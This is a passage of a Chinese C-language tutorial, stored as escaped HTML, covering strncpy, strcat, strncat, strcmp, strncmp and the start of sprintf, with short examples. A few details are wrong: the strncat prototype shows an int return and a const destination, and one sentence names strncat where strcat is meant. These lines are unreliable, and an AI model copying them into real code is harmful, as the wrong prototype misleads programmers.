class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003estrncpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *src, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面原型中,第三个参数\u003ccode\u003en\u003c/code\u003e定义了复制的最大字符数。如果达到最大字符数以后,源字符串仍然没有复制完,就会停止复制,这时目的字符串结尾将没有终止符\u003ccode\u003e\\0\u003c/code\u003e,这一点务必注意。如果源字符串的字符数小于\u003ccode\u003en\u003c/code\u003e,则\u003ccode\u003estrncpy()\u003c/code\u003e的行为与\u003ccode\u003estrcpy()\u003c/code\u003e完全一致。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncpy\u003c/span\u003e(str1, str2, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr1[\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003estr2\u003c/code\u003e复制给\u003ccode\u003estr1\u003c/code\u003e,但是复制长度最多为\u003ccode\u003estr1\u003c/code\u003e的长度减去1,\u003ccode\u003estr1\u003c/code\u003e剩下的最后一位用于写入字符串的结尾标志\u003ccode\u003e\\0\u003c/code\u003e。这是因为\u003ccode\u003estrncpy()\u003c/code\u003e不会自己添加\u003ccode\u003e\\0\u003c/code\u003e,如果复制的字符串片段不包含结尾标志,就需要手动添加。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrncpy()\u003c/code\u003e也可以用来拷贝部分字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e40\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncpy\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es1[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s1); \u003cspan class=\"comment\"\u003e// hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指定只拷贝前5个字符。\u003c/p\u003e\u003ch3 id=\"strcat\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcat\" class=\"headerlink\" title=\"strcat()\"\u003e\u003c/a\u003estrcat()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrcat()\u003c/code\u003e函数用于连接字符串。它接受两个字符串作为参数,把第二个字符串的副本添加到第一个字符串的末尾。这个函数会改变第一个字符串,但是第二个字符串不变。\u003c/p\u003e\u003cp\u003e该函数的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrcat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrcat()\u003c/code\u003e的返回值是一个字符串指针,指向第一个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcat\u003c/span\u003e(s1, s2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s1); \u003cspan class=\"comment\"\u003e// \u0026#34;helloworld\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003estrcat()\u003c/code\u003e以后,可以看到字符串\u003ccode\u003es1\u003c/code\u003e的值变了。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estrcat()\u003c/code\u003e的第一个参数的长度,必须足以容纳添加第二个参数字符串。否则,拼接后的字符串会溢出第一个字符串的边界,写入相邻的内存单元,这是很危险的,建议使用下面的\u003ccode\u003estrncat()\u003c/code\u003e代替。\u003c/p\u003e\u003ch3 id=\"strncat\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncat\" class=\"headerlink\" title=\"strncat()\"\u003e\u003c/a\u003estrncat()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e用于连接两个字符串,用法与\u003ccode\u003estrncat()\u003c/code\u003e完全一致,只是增加了第三个参数,指定最大添加的字符数。在添加过程中,一旦达到指定的字符数,或者在源字符串中遇到空字符\u003ccode\u003e\\0\u003c/code\u003e,就不再添加了。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrncat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* dest,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* src,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e返回第一个参数,即目标字符串指针。\u003c/p\u003e\u003cp\u003e为了保证连接后的字符串,不超过目标字符串的长度,\u003ccode\u003estrncat()\u003c/code\u003e通常会写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncat\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e str1, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e str2, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e总是会在拼接结果的结尾,自动添加空字符\u003ccode\u003e\\0\u003c/code\u003e,所以第三个参数的最大值,应该是\u003ccode\u003estr1\u003c/code\u003e的变量长度减去\u003ccode\u003estr1\u003c/code\u003e的字符串长度,再减去\u003ccode\u003e1\u003c/code\u003e。下面是一个用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e8\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncat\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s1); \u003cspan class=\"comment\"\u003e// \u0026#34;MondayTue\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003es1\u003c/code\u003e的变量长度是10,字符长度是6,两者相减后再减去1,得到\u003ccode\u003e3\u003c/code\u003e,表明\u003ccode\u003es1\u003c/code\u003e最多可以再添加三个字符,所以得到的结果是\u003ccode\u003eMondayTue\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"strcmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcmp\" class=\"headerlink\" title=\"strcmp()\"\u003e\u003c/a\u003estrcmp()\u003c/h3\u003e\u003cp\u003e如果要比较两个字符串,无法直接比较,只能一个个字符进行比较,C 语言提供了\u003ccode\u003estrcmp()\u003c/code\u003e函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcmp()\u003c/code\u003e函数用于比较两个字符串的内容。该函数的原型如下,定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按照字典顺序,如果两个字符串相同,返回值为\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,\u003ccode\u003estrcmp()\u003c/code\u003e返回值小于0;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回值大于0。\u003c/p\u003e\u003cp\u003e下面是一个用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s1 = Happy New Year\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s2 = Happy New Year\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s3 = Happy Holidays\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s1, s2) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s1, s3) \u003cspan class=\"comment\"\u003e// 大于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s3, s1) \u003cspan class=\"comment\"\u003e// 小于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003estrcmp()\u003c/code\u003e只用来比较字符串,不用来比较字符。因为字符就是小整数,直接用相等运算符(\u003ccode\u003e==\u003c/code\u003e)就能比较。所以,不要把字符类型(\u003ccode\u003echar\u003c/code\u003e)的值,放入\u003ccode\u003estrcmp()\u003c/code\u003e当作参数。\u003c/p\u003e\u003ch3 id=\"strncmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncmp\" class=\"headerlink\" title=\"strncmp()\"\u003e\u003c/a\u003estrncmp()\u003c/h3\u003e\u003cp\u003e由于\u003ccode\u003estrcmp()\u003c/code\u003e比较的是整个字符串,C 语言又提供了\u003ccode\u003estrncmp()\u003c/code\u003e函数,只比较到指定的位置。\u003c/p\u003e\u003cp\u003e该函数增加了第三个参数,指定了比较的字符数。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrncmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的返回值与\u003ccode\u003estrcmp()\u003c/code\u003e一样。如果两个字符串相同,返回值为\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,\u003ccode\u003estrcmp()\u003c/code\u003e返回值小于0;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回值大于0。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello C\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003estrncmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e5\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;They all have hello.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例只比较两个字符串的前5个字符。\u003c/p\u003e\u003ch3 id=\"sprintf-,snprintf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sprintf-%EF%BC%8Csnprintf\" class=\"headerlink\" title=\"sprintf(),snprintf()\"\u003e\u003c/a\u003esprintf(),snprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e函数跟\u003ccode\u003eprintf()\u003c/code\u003e类似,但是用于将数据写入字符串,而不是输出到显示器。该函数的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e的第一个参数是字符串指针变量,其余参数和\u003ccode\u003eprintf()\u003c/code\u003e相同,即第二个参数是格式字符串,后面的参数是待写入的变量列表。\u003c/p\u003e\u003cfigure class=\"highlight 